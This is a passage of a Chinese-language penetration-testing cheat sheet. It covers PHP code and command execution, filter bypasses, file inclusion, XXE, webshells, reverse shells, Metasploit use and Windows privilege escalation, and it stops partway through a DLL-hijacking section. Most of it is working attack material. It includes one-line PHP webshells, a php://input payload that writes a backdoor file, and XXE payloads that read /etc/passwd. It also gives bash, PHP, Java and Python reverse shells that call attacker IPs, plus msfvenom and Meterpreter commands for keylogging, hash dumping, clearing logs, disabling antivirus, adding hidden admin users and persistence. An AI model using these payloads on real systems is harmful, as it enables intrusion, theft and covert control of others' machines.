    0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏
    

RCE

RCE漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

RCE漏洞在没有网站源码的情况下极其难以发现

发掘RCE漏洞方式:

  1. 代码审计挖掘

  2. 参数爆破获得,参数爆破可以用Hydra工具

  3. 使用对应中间件扫描工具进行扫描,如:

    • Struts2使用Struts2 全版本漏洞检测工具扫描

    • Thinkphp使用ThinkphpGUI 2020HackingClub线下典藏版扫描

RCE漏洞分为代码执行和命令执行,下面详细介绍

代码执行

PHP中有些函数具有将字符串作为代码执行的功能,如果这些函数控制的不严格,就能被攻击者用来执行恶意代码

常见的代码执行函数:

  1. eval函数

    eval函数把字符串作为PHP代码执行

    eval(string $code)
    

    一句话木马

    <?php @eval($_POST['x']);?> 
    
  2. assert函数

    assert函数会检查指定的assertion一个断言是否为FALSE,在结果为FALSE时采取适当的行动,如果assertion是字符串,他会被assert函数当做PHP代码执行

    bool assert(mixed $assertion[,Throwable $exception])
    

    一句话木马

    <?php @assert($_POST['x']);?> 
    
  3. call_user_func函数

    第一个参数callback是被调用的回调函数 其余参数是回调函数用的参数

    mixed call_user_func(callable $callback[,mixed $parameter[,mined $parameter...]])
    

    一句话木马:

    通过POST型fun参数调用system函数,通过POST型arg参数传入id命令,执行了system('id')返回当前用户信息

    <?php call_user_func($_POST['fun'],$_POST['arg']);?>
    
  4. call_user_func_arrey函数

    把第一个参数作为回调函数调用,把参数数组作为回调函数的参数调用

    mixed call_user_func_arrey(callable $callback,array $param_arr)
    

    一句话木马:

    通过POST型fun参数调用system函数,通过POST型arg参数传入id命令,执行了system('id')返回当前用户信息

    <?php call_user_func_array($_POST['fun'],$_POST['arg']);?>
    
  5. create_function函数

    根据传递的参数创建匿名函数 并为该匿名函数返回唯一名称

    string create_function(string $args,string $code)
    

    示例代码

    <?php 
    	$id=$_GET['id']; 
    	$code='echo'.$func.'test'.$id.';'; 
    	create_function('$func',$code); 
    ?>
    

    create_function函数会创建虚拟函数,转变成以下代码

    <?php 
    	$id=$_GET['id']; 
    	function func($func){ 	
    		echo "test".$id;  
    	} 
    ?>
    

    当传入id的值为1;}phpinfo();/*时 就可以造成 代码执行

  6. array_map函数

    函数返回为每个数组元素应用callback函数之后的数组,callback函数形参的数量和传给array_map函数的数组和数量必须相同

    array array_map(callable $callback,array $array1[,array $array2...])
    

    示例

    <?php 
    	$func=$_GET['func']; 
    	$argv=$_GET['argv']; 
    	$array[0]=$argv; 
    	array_map($func,$array); 
    ?>
    

    输入语句

    http://xxx/index.php?func=system&argv=id
    

    就可以执行任意代码

  7. prep_replace函数

    执行一个正则表达式的搜索和替换

    mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit=-1[,int &$count]])
    

    此函数存在模式修饰符,其中修饰符e会让函数将替换后的函数作为PHP代码执行

    如果设置了这个被弃用的修饰符 ,函数对替换字符进行后向引用替换之后 ,将替换后的字符串作为PHP代码评估执行,并使用执行结果作为实际参与替换的字符串,单引号、双引号、反斜线和Null字符在后向引用替换式会被自动加上反斜线转义

    示例

    <?php 
    	$subject='hello hack';
    	$pattern='/hack/e'
    	$replacement=$_GET["name"];
    	echo preg_replace($pattern,$replacement,$subject);
    ?>
    

    测试语句

    http://xxx/index.php?name=phpinfo()
    

    preg_replace函数会将hack替换成phpinfo()同时因为有e修饰符,会将phpinfo()当做代码执行

命令执行

命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如:system()、exec()、shell_exec()、eval()、passthru(),代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

产生原因:

  1. 没有对用户输入进行过滤或过滤不严,如:没有过滤&、&&、| 、||等连接符号。

  2. 系统漏洞造成的命令执行,如:bash破壳漏洞(CVE-2014-6271)

  3. 调用的第三方组件存在代码执行漏洞

    • php (system() 、 shell_exec() 、pcntl_exec()、 exec() 、 eval()、popen()、proc_open()、passthru()、反引号 ``)

    • JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)

    • ThinkPHP命令执行

过滤绕过

若是cat被过滤,可以用tac
cat是正向读取,tac是反向读取

Windows系统支持的管道符如下:

  1. “|”:直接执行后面的语句。
  2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
  3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
  4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:

  1. “;”:执行完前面的语句再执行后面的语句。
  2. “|”:显示后面语句的执行结果。
  3. “||”:当前面的语句执行出错时,执行后面的语句。
  4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
  5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

因此,不一定非要用&,可以用"/","|",";"
若被过滤,可以使用URL码,如%0A(linux换行符)、%0D(回车符)、%0D%0A(window换行符)

对于以下命令:

cat$IFS$9`ls`
  • 反引号的作用是将命令的输出当做输入执行
  • 即先执行ls,然后输出的内容又当作输入执行
  • 因此这条命令的作用是查看该文件夹下所有文件的内容

空格绕过:

IFS表示Internal Field Separator(内部字段分隔符),空格可以用**${IFS}**代替

  • cat${IFS}flag.txt
  • cat$IFS$9flag.txt(这里用$1~9都可以)
  • cat<flag.txt
  • cat<>flag.txt(<>为重定向符号)
  • kg=$'\x20flag.txt'&&cat$kg(\x20转化成字符串是空格,这里通过变量的方式绕过)

敏感字符绕过:

  1. 变量绕过:a=g.php;cat fla$a

  2. 编码绕过(假设过滤cat):

    `echo 'Y2F0Cg=='|base64 -d` flag.txt
    
  3. 链接符截断绕过(假设过滤cat):

    • c\at flag.txt
    • ca$@t flag.txt
    • c'a't flag.txt

通配符绕过:

  1. **?在linux里面可以进行代替一个任意字符**
    • /???/[l-n]s可以代替ls
    • /???/c?t flag.txt 可一代替cat flag.txt
  2. *在linux里面可以代替任意一个符号
    • ls *.php列出当前目录下所有php文件
  3. 无字母数字匹配
    • 如果外面遇到一个正则表达式将字母数字$这些都过滤掉,要外面执行一个脚本的话
    • 假如脚本名称为chakdiD且在根目录/etc下。我们可以用./???/???????[@-[](问号的个数对应chakdiD脚本的路径)
    • [@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,可以绕过正则表达式

文件包含

文件包含是指传递一个参数(可以是一个文件),然后PHP脚本包含这个文件,则无论这个文件是什么格式,访问PHP脚本,传递参数的文件都能以PHP格式执行

在一个网站中任何一个能提交的参数都是文件包含的测试对象

文件包含相关函数:

  • php

    require:函数出现错误时,会直接报错并退出程序执行
    require_once:出错直接退出;且仅包含一次。在脚本执行期间同一个文件可能被多次引用,确保只包含一次以避免函数重定义,变量重新赋值等问题。
    include:出现错误时,会出现警告但是程序会继续执行
    include-once:出现错误时,会抛出警告,且仅包含一次 
    
  • jsp/servlet

    ava.io.file()
    java.io.filereader()  
    
  • asp

    include file
    include virtual 
    
  • java

    本地文件包含造成的危害就只有文件读取,一般情况下是不能造成命令执行或代码执行的。

文件包含分为本地文件包含与远程文件包含,下面详细介绍

本地文件包含

本地文件包含漏洞指能够读取或执行包含本地文件的漏洞,如:

无限制跨目录
http ://127.0.0.1/test.php?filename=../../1.txt
---跨越2级目录
有限制的文件包含
<?php 
	$filename=$_GET['filename'];
	include($filename.[".html"]);
?>

filename参数后面包含的文件后缀名增加了一个HTML

绕过方式:

  1. %00截断

  2. 长度截断

    原理:垃圾数据溢出

    windows中点号需要长于256位(文件命名),Linux中点号需要长于4096位

    #http://192.168.102.143:8888/test.php?filename2=1.txt./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
    

    超过文件命名256位,后面的HTML就没有被识别,而1.txt././被当成1.txt执行

远程文件包含

远程文件包含是指通过url地址对远程的文件进行包含

前提条件:在php.ini中allow_url_fopen=on、allow_url_include=on

http://127.0.0.1/test.php?filename=http://192.168.8.10/1.txt

php伪协议

还可以使用php伪协议进行文件包含

  • file 😕/ — 访问本地文件系统
  • http:// — 只读访问 HTTP(s) 网址
  • ftp:// — 访问 FTP(s) URLs
  • php:// — 访问各个输入/输出流(I/O streams)(重点)
  • zlib:// — 压缩流
  • data:// — 数据(RFC 2397)
  • glob:// — 查找匹配的文件路径模式
  • phar:// — PHP 归档
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处理交互式的流

使用例子:

PHP协议读取1.txt文件源码

http://192.168.102.143:8888/test.php?filename1=php://filter/read=convert.base64-encode/resource=1.txt
  • 原理:在文件输入之前先过滤,读取过滤器内的内容,其中resource为要过滤的数据流。
  • base64加密原因:有时候读取由于编码方式的不同造成乱码,这里加密后,就不会乱码

PHP格式执行文件

http://192.168.102.143:8888/test.php?filename1=php://input
post提交数据:<?php system(ipconfig);?>

原理:

  • php://input可以读取没有处理过的POST数据。
  • 相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-dat

Php协议写入一句话后门代码

http://192.168.102.143:8888/test.php?filename1=php://input
post提交数据:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

原理:用fopen打开或者创建一个shell.php的文件,用fputs将字符串<?php @eval($_GET[cmd]); ?>写入shell.php文件中

file协议读取文件内容(所有脚本都适用)

http://192.168.102.143:8888/test.php?filename1=file://C:/phpstudy/PHPTutorial/WWW/1.txt

data协议来执行指定的PHP脚本代码

http://192.168.102.143:8888/test.php?filename1=data://text/plain,<?php%20echo '123';?> 

文件下载

网页中有些地方可以进行文件下载,这样就有可能存在文件下载漏洞

例如:

http://192.168.8.16/Pikachu/vul/unsafedownload/execdownload.php?filename=kb.png

文件下载漏洞可能存在的地方:

  • 文件名:

    read.xxx?filename=
    down.xxx?filename=
    readfile.xxx?file=
    downfile.xxx?file=
    
  • 目录符号

    &readpath=
    &filepath=
    &path=
    &inputfile=
    &url=
    &data=
    &readfile=
    &menu=
    META-INF= 
    WEB-INF=
    

目录穿越

攻击者可以利用目录穿越漏洞读取运行应用程序的服务器上的任意文件。

如:

网站显示一个图片的链接为

http://192.168.8.16/Pikachu/vul/unsafedownload/loadImage?filename=kb.png

其中图片文件存放位置为

C:\phpstudy_pro\WWW\Pikachu\vul\unsafedownload\download\kb.png

因此可以尝试访问http://192.168.8.16/Pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../Security.evtx来读取想要的文件

  • 在Unix操作系统上,…/ 是一个标准的返回上一级路径的语法;
  • 在Windows操作系统上, …/ 和 …\ 都是返回上一级的语句。
  • 想要去到最上层,加../的个数超过绝对路径的位置是没问题的

逻辑越权

逻辑越权分为水平越权、垂直越权、支付篡改,以下详细介绍

水平越权

水平越权是指一个用户对其他同种类型的用户进行越权操作

例如自己修改信息时,把自己的名字改为其他用户的名字,从而实现修改别人信息

垂直越权

垂直越权是指使用普通用户进行权限比本用户权限高才能进行的操作

例如使用管理员的数据包进行操作,把管理员的cookie换成用户的cookie后提交

获得数据包的方式可以去获得网站的CMS后自行抓包

支付篡改

该漏洞的测试方法:

  1. 修改支付价格
  2. 修改支付状态
  3. 修改购买数量
  4. 修改附属值
  5. 修改支付接口
  6. 多重替换支付
  7. 重复支付
  8. 最小额支付
  9. 值为最大值支付问题
  10. 越权支付
  11. 无限制适用
  12. 修改优惠价格

未授权访问

未授权访问漏洞是指需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

比如很多网站的管理界面或者数据库如redis,创建时默认是没有密码,需要管理员去添加,若是没有添加会让入侵者直接进入管理页面或者直接能操控数据库,从而达成入侵

其他数据库的未授权访问漏洞可以看该文章

反序列化

反序列化漏洞是指没有对用户输入的反序列化字节流进行检测,导致反序列化过程可以被恶意控制,若函数中有命令执行函数等关键函数,会进而造成代码执行、GetShell等一系列不可控的后果。(在反序列化过程中,会触发代码执行。)

该漏洞跟文件解析差不多,都是由于传递的恶意参数被执行(序列化和反序列化相当于加解密过程)

反序列化在没有网站源码的情况下极其难以发现

发掘反序列化漏洞方式:

  1. 代码审计挖掘
    • 如果是MVC框架的,那么前端的页面就没有在controller的PHP代码文件里面,而是在views的index.html里面(这里我猜测可能是在PHP文件里面包含了views的HTML文件。比如很多时候,直接在PHP文件里面进行echo并不会输出,而是要在HTML里面进行输出)
    • 直接在审计系统里面修改可能会报错,应为编码方式的不同
    • 对一个thinkphp框架源码审计,可以搜索select,看看有没有没有按照thinkphp框架的要求,自己写的查询语句(也可以是insert,update等等)
  2. 通过信息收集确认目标网站的框架,利用已经爆出的反序列化漏洞进行测试
  3. 根据目标网站的框架选择对应框架的反序列化漏洞攻击工具,如对于JAVA的Apache Shiro,可以使用**shiro_attack**工具进行攻击;其他框架可以在github上找项目
  4. JAVA反序列可以使用ysoserial工具进行攻击

PHP序列化

PHP序列化数

序列化函数serialize()
将一个对象转换成一个字符串

反序列化函数unserialize()
将字符串还原成一个对象

当进行反序列化的时候就有可能会触发对象中的一些魔术方法

重要魔术方法
  • __construct()//创建对象时触发
  • __destruct() //对象被销毁时触发
  • __toString():在将一个对象转化成字符串时自动调用
  • __sleep():序列化对象前调用(其返回需要是一个数组)
  • __wakeup():反序列化恢复对象前调用(当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
  • __get( $property ):从不可访问的属性中读取数据
序列化流程

—创建对象触发construct方法

—反序列化触发wakeup方法(序列化会检查方法内是否存在sleep函数,如果存在就优先调用;反序列化就调用wakeup函数)

—最后一个程序结束后触发destruct函数

—如果有tostring函数,存在echo时或者拼接字符串时都会被调用

JAVA反序列化

JAVA序列化函数

序列化函数Serialization
将java对象以一连串的字节保存在磁盘文件中的过程,也可以说是保存java对象状态的过程。序列化可以将数据永久保存在磁盘上(通常保存在文件中)。

反序列化函数deserialization
将保存在磁盘文件中的java字节码重新转换成java对象。

JDK序列化API
  • java.io.ObjectOutputStream

    表示对象输出流,其中**writeObject(Object obj)**方法可以将给定参数的obj对象进行序列化,将转换的一连串的字节序列写到指定的目标输出流中。

  • java.io.ObjectInputStream

    该类表示对象输入流,该类下的**readObject(Object obj)**方法会从源输入流中读取字节序列,并将它反序列化为一个java对象并返回。

序列化要求
  • 实现序列化的类对象必须实现了Serializable类Externalizable类才能被序列化,否则会抛出异常。
  • 序列化实例变量没有transient关键字
JAVA序列化文件特征
  • 以rO0AB开头的数据可以确定是使用了JAVA序列化base64加密
  • 以aced开头的数据可以确定是java序列化的16进制

XXE

XXE漏洞是指在服务器允许解析外部实体,这时外部实体中存在恶意代码,服务器执行后就会被入侵,与SQL注入类似。

外部实体时一段XML代码,其中这段XML代码是用DTD定义构造成的

测试对象为所有上传XML的数据包

XXE漏洞可以进行以下操作(具体操作可以参考上面的内容):

  1. 任意文件读取
  2. 系统命令执行
  3. 内网端口探测
  4. 攻击内网网站
  5. 钓鱼

不同的语言支持的协议是不同的:

  • ilbxml2 :file、http、ftp
  • PHP:ile、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
  • Java:http、https、ftp、file、jar、netdoc、mailto、gophar
  • .NET:file、http、https、ftp

具体例子:

  1. 文件读取

    利用file:// php://等伪协议进行文件获取(获取代码最好使用php://file://进行base64编码)

    <!DOCTYPE TEST [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=1.php">]>----DTD部分
    <catalog>
    	<core id ="test101">
    		<author>John</author>
    		<title>I love XML</title>
    		<category>Computers</category>------XML部分
    		<pricr>9.99</pricr>
    		<data>2018-10-01</data>
    		<description>&xxe;</description>---内容在$xxe处回显
    
  2. 系统文件读取

    <!DOCTYPE TEST [<!ENTITY xxe SYSTEM "file://etc/passwd">]>----DTD部分
    <catalog>
    	<core id ="test101">
    		<author>John</author>
    		<title>I love XML</title>
    		<category>Computers</category>------XML部分
    		<pricr>9.99</pricr>
    		<data>2018-10-01</data>
    		<description>&xxe;</description>
    
  3. 内网主机扫描

    利用协议和ip地址最后一位字典遍历,结合Brup爆破返回数据包长度判断

    <!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1">]>----DTD部分
    <catalog>
    	<core id ="test101">
    		<author>John</author>
    		<title>I love XML</title>
    		<category>Computers</category>------XML部分
    		<pricr>9.99</pricr>
    		<data>2018-10-01</data>
    		<description>&xxe;</description>
    
  4. 端口探测

    代码将尝试于端口8080通信,根据响应事件/长度攻击者可以判断该端口是否被开启

    <!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">]>----DTD部分
    <catalog>
    	<core id ="test101">
    		<author>John</author>
    		<title>I love XML</title>
    		<category>Computers</category>------XML部分
    		<pricr>9.99</pricr>
    		<data>2018-10-01</data>
    		<description>&xxe;</description>
    
  5. 远程代码执行

    当配置不当/开发内部应用,且PHP的expect模块被加载到了易受攻击的系统或处理XML的内部应用上能执行

    <!DOCTYPE TEST [<!ENTITY xxe SYSTEM "expect://id">]>----DTD部分
    <catalog>
    	<core id ="test101">
    		<author>John</author>
    		<title>I love XML</title>
    		<category>Computers</category>------XML部分
    		<pricr>9.99</pricr>
    		<data>2018-10-01</data>
    		<description>&xxe;</description>
    

一句话木马

一句话木马是一行代码的木马,作用是人为形成命令执行漏洞后执行我们发送的命令。

一句话木马能让我们使用中国蚁剑,中国菜刀进行连接

最简单的一句话木马:

<?php assert(@$_POST['a']); ?>

入侵流程:

  • 先通过文件上传或者管理页面修改内容来上传木马,然后通过文件包含来执行木马

通过木马连接服务器的工具还有冰蝎、哥斯拉

菜刀、冰蝎、蚁剑区别:

  • 菜刀:未更新状态,无插件,单向加密传输
  • 蚁剑:更新状态,有插件,拓展性强,单向加密传输
  • 冰蝎:更新状态,未知插件,双向加密传输

总结:冰蝎>蚁剑>菜刀

反弹shell

反弹shell是在成功上传一句话木马后,通过一句话木马的运行来反弹连接攻击机

Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(command interpreter,命令解析器)。它类似于DOS下的COMMAND.COM和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序

**原理:**控制端监听某个端口,被控制端发起请求到该端口,并将命令行的输入输出传到控制端

shell有两种类型,非交互式shell和交互式shell

非交互式shell

  • 非交互式模式,以shell script(非交互)方式执行。
  • 在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。
  • 当它读到文件的结尾EOF,shell也就结束了。
  • 通过菜刀、蚁剑获取的虚拟终端就是一种典型的非交互式shell。
  • 它可以执行一些普通的命令并输出结果,但不能执行与用户进行交互的命令。
  • 这个交互怎么理解呢?比如正常情况下使用su切换用户时,系统会提示我们输入密码.非交互式shell则不能实现这种结果

交互式shell

  • 交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。
  • 这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
  • 如linux修改passwd,会提示让你输入新的密码。这种模式被称作交互式shell

连接终端有两种方式,正向连接,反弹shell

正向连接

  • 目标主机具有公网IP地址,能够被外网直接访问。
  • 此时攻击者可以直接访问目标机器,这种连接方式叫做正向连接。
  • 我们只需要在目标机器开启shell监听,然后攻击机器直接访问即可。

正向连接目标的缺点:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。它的ip会动态改变,你不能持续控制。

2.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

3.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

反弹shell

  • 目标主机处于内网环境下,不可以被外网直接访问,只能主动将shell反弹出来,这种方式称作反弹shell
  • 反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端,本质上是网络概念的客户端与服务端的角色反转。

成功反弹shell后,如果目标服务器有python,那么就能通过该命令获得交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

常用payload:

BASH:

bash -i >& /dev/tcp/192.168.8.10/1234 0>&1

PHP:

<?php $sock=fsockopen("192.168.8.13",1234);exec("/bin/bash -i <&3 >&3 2>&3"); ?>

JAVA:

public class Revs {
  /**
  \* @param args
  \* @throws Exception 
  */public static void main(String[] args) throws Exception {
	// TODO Auto-generated method stub
    Runtime r = Runtime.getRuntime();
    String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.8.13/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
    Process p = r.exec(cmd);
    p.waitFor();
  }
}
编译:
javac Revs.java 
java Revs

PYTHON

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.8.13',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

KALI使用

这里介绍KALI的一些工具的使用

proxychains4

该工具用于KALI挂代理

  1. 使用前输入:

    vi /etc/proxychains4.conf        #查看修改配置
    
  2. dynamic_chain前的#去掉

  3. strict_chain前加上#

  4. 在最后面加上代理信息

使用:在命令前加上proxychains4即可,如

proxychains4 nmap -sT -Pn 192.168.22.0/24

MSF攻击

命令
命令含义
chcp 65001解决乱码问题
ps查看目标机进程
kill 2312关闭pid为2312的进程
run vnc监控目标机桌面
screenshot截取目标机屏幕
screenshare实时观看目标机屏幕
shell进入目标机的命令终端
webcam_list列举摄像头
webcam_snap通过远程连接目标系统的摄像头
clearev清除日志
getsystem提升权限
hashdump获取密码hash值
keyscan_start打开记录键盘
keyscan_dump记录键盘
keyscan_stop关闭记录键盘
uictl disable keyboard/mouse禁用键盘/鼠标
uictl enable keyboard/mouse启用键盘/鼠标制权
show targets查看该模块适用系统
show options查看设置
getsystem提权
upload a.exe c:/上传文件到c:/
download c:\a.exe /root/下载文件到root目录
run killav关闭对方的杀毒软件
net user admin 123456 /add新建一个用户名admin 密码123456的用户
net user admin$ 123456 /add创建一个隐藏用户
net localgroug administrators admin /add加入管理员权限
run persistence -X -i 5 -p 8888 -r 192.168.1.11生成一个持续性后门
explorer.exe ::{645FF040-5081-101B-9F08-00AA002F954E}打开回收站
`dir c:\ d:\ e:\ /s /bfind “password.txt”`
linux
反向:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.36.129 LPORT=1111 -f elf >t1.elfuse exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset LHOST 192.168.36.129set LPORT 1111
正向:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > 2.elfuse exploit/multi/handlerset payload linux/x64/meterpreter/bind_tcpset rhost 192.168.22.128set LPORT 3333exploit
window
反向
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.121 lport=5000 -f exe -o /root/payload.exeuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.1.121 set lport 5000exploit

正向:

msfvenom -p windows/meterpreter/bind_tcp lport=5000 -f exe -o /home/css/桌面/payload.exeuse exploit/multi/handlerset payload windows/meterpreter/bind_tcpset rhost 192.168.22.128set lport 5000exploit

权限提升

在使用渗透攻击后若是能成功以低权限进入服务器后,将权限拥有范围提升至管理员甚至是系统权限的攻击方法。

通常网站是以低权限运行,以此来防止受到入侵后入侵者对服务器进行更大范围攻击。

权限提升的对象分为数据库、window、llinux,下面详细介绍权限提升方法

window

信息收集

权限划分

Windows中权限指的是不同账户文件、文件夹、注册表等的访问能力。一般我们常用的权限分为普通账户权限、管理员账户权限和system账户权限。

普通账户权限

优点:

1.权限最小化原则,确保用户资源得到最大保障;
2.普通权限程序支持任意账户登录的开机自启动;

缺点:

1. 启动以管理员权限启动的程序时,会弹出用户账户控制(UAC)弹窗;
2. 无法访问服务列表,判断服务程序有没有启动;
3. 无法修改或删除Program Files等管理员权限路径下的文件,仅能查看;
4. 程序无法删掉以管理员权限运行的进程;
管理员权限

优点:

1. 可以访问服务列表,运行服务程序;
2. 可正常修改或删除访问Program Files等管理员权限路径下所有文件;
3. 可以启动普通权限运行的程序并赋予管理员权限;

缺点:

1. 普通账户登录的系统,无法开机自启动;
2. 程序无法杀掉system权限运行的进程;
system权限

优点:

1. 程序以windows服务托管运行,支持开机自启动;
2. 可以以用户登录账户权限或system权限启动动外部程序;

缺点:

1. system权限获取桌面路径、appdata路径时,默认访问的是system相关路径,不是当前桌面路径;
2. 程序不是在主线程中运行(很难理解)
3. 弹出选择路径弹窗时,会报错或者无法选择桌面路径;
4. 无法打开系统默认浏览器、文本编辑器等,因为程序运行权限超过系统登录账户范畴;
信息收集命令

以下命令可以对系统进行信息收集,由此来决定提权方式

命令描述
systeminfo打印系统信息
whoami获得当前用户名
whoami /priv当前账户权限
ipconfig网络配置信息
ipconfig /displaydns显示DNS缓存
route print打印出路由表
arp -a打印arp表
hostname主机名
net user列出用户
net user UserName关于用户的信息
net use \SMBPATH Pa$$w0rd /u:UserName连接SMB
net localgroup列出所有组
net localgroup GROUP关于指定组的信息
net view \127.0.0.1会话打开到当前计算机
net session开放给其他机器
netsh firewall show config显示防火墙配置
DRIVERQUERY列出安装的驱动
tasklist /svc列出启动的服务
dir /s foo在目录中搜索指定字符的项目
dir /s too==bar同上
net start列出启动的服务
sc query列出所有服务
sc qc ServiceName找到指定服务的路径
shutdown /r /t 0立即重启
type file.txt打印出内容
icacls “C\Example”列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn列出已安装的补丁
(New-Object System.Net.WebClient).DownloadFile(“https://host/file”,“C:\LocalPath”)利用ps远程下载文件到本地
accesschk.exe -qwsu “Group”修改对象(尝试Everyone,Authenticated Users和/或users)
工具收集

常用工具有:

  1. vulmap

    • windows和Linux都适用,Linux需要Python

    • 只能在powershell里面使用,对于Web提权,不能使用powershell

  2. Windows Exploit Suggester(主要在Web提权)

  3. windowsVulnScan

  4. wesng

  5. windows-kernel-exploits(该网站收集了windows相关的exp)

系统溢出

该提权方式是利用CVE-2020-0787本地提权漏洞,在目标服务器执行BitsArbitraryFileMoveExploit.exe文件

流程:

  1. 创建一个账户
  2. 将该账户加入到Guests组
  3. 切换到该用户
  4. 执行CVE-2020-0787本地提权漏洞中的BitsArbitraryFileMoveExploit.exe文件

at提权

at命令提权主要针对win7win7之前的操作系统,

win7之后的操作系统弃用该命令

流程:

  1. at命令给系统添加一项作业,作业为在某一时间打开cmd
  2. 在到达时间后系统打开的cmd权限是system

sc提权

流程:

  1. 使用sc命令创建一个syscmd的服务,绑定binPath的路径(以cmd打开):

     sc Create syscmd binPath= "cmd /K start" type= own type= interact
    
  2. 启动这个服务:sc start syscmd,打开的cmd权限是system

ps提权

ps指pstools,是微软官方工具,是为windows提供的第三方工具库

执行命令:

psexec.exe -accepteula -s -i -d cmd.exe

令牌窃取

原理:进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。

条件:windows2008和之前的系统

流程:

  1. MSF已经连接入靶机,进入incognito模块查看当前服务器的令牌

    use incognito 
    list_tokens -u
    
  2. 用以下命令进行令牌窃取

    impersonate_token "NT AUTHORITY\SYSTEM"     \\impersonate_token "机器名\\用户名"
    

incognito模块能够查看的令牌类型:

  • Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
  • Impresonation Token:模拟令牌,它是非交互的会话。

进程注入

进程注入提权是本地提权方式的一种较为老的安全技术

原理是注入进程的所有者实现权限共享机制

这类技术主要利用在 windows2008 之前操作系统上

pinjector进程注入工具(下载要VPN挂全局)

  • 针对win2008以前的操作系统
  • 能将pinjector注入到用户的进程里一起运行,进而同时拥有了对应的权限
  • 是一种比较隐蔽的手段,不会创建新的进程,很难发现,但是上传至目标主机时可能会报毒

流程:

  1. 使用下面列出进程,列出的所有进程都可以利用(找system对应权限的进程)

    Pinjector.exe -l
    
  2. 使用下面命令进行进程注入

    pinjector.exe -p 456 cmd 5959   //456为PID,5959为监听端口
    
  3. 使用nc命令连接监听端口

    nc -nv 192.168.8.10 5959
    

烂土豆

烂土豆提权是MS16-075(CVE漏洞编号:CVE-2016-3225),是一个本地提权,只能针对本地用户,不能用于域用户。可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别

原理:

  1. 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
  2. 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
  3. 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

目标:

  1. 只针对本地用户
  2. 适用于window7、8、10,window server2008、2012

流程:

  1. 将烂土豆上传到靶机

  2. msf执行烂土豆

    execute -cH -f ./potato.exe
    
  3. 令牌窃取(上面的步骤)

DLL 劫持

原理:Windows 程序(exe)启动的时候需要 DLL库的支持。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。

dll 劫持提权需要特定软件应用的控制权限及启用配合

通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:

  1. 应用程序加载的目录;
  2. C:\Windows\System32;
  3. C:\Windows\System;
  4. C:\Windows;
  5. 当前工作目录 Current Working Directory,CWD;
  6. 在 PATH 环境变量的目录(先系统后用户)

流程:

  1. 信息收集(服务器上的第三方程序的信息)
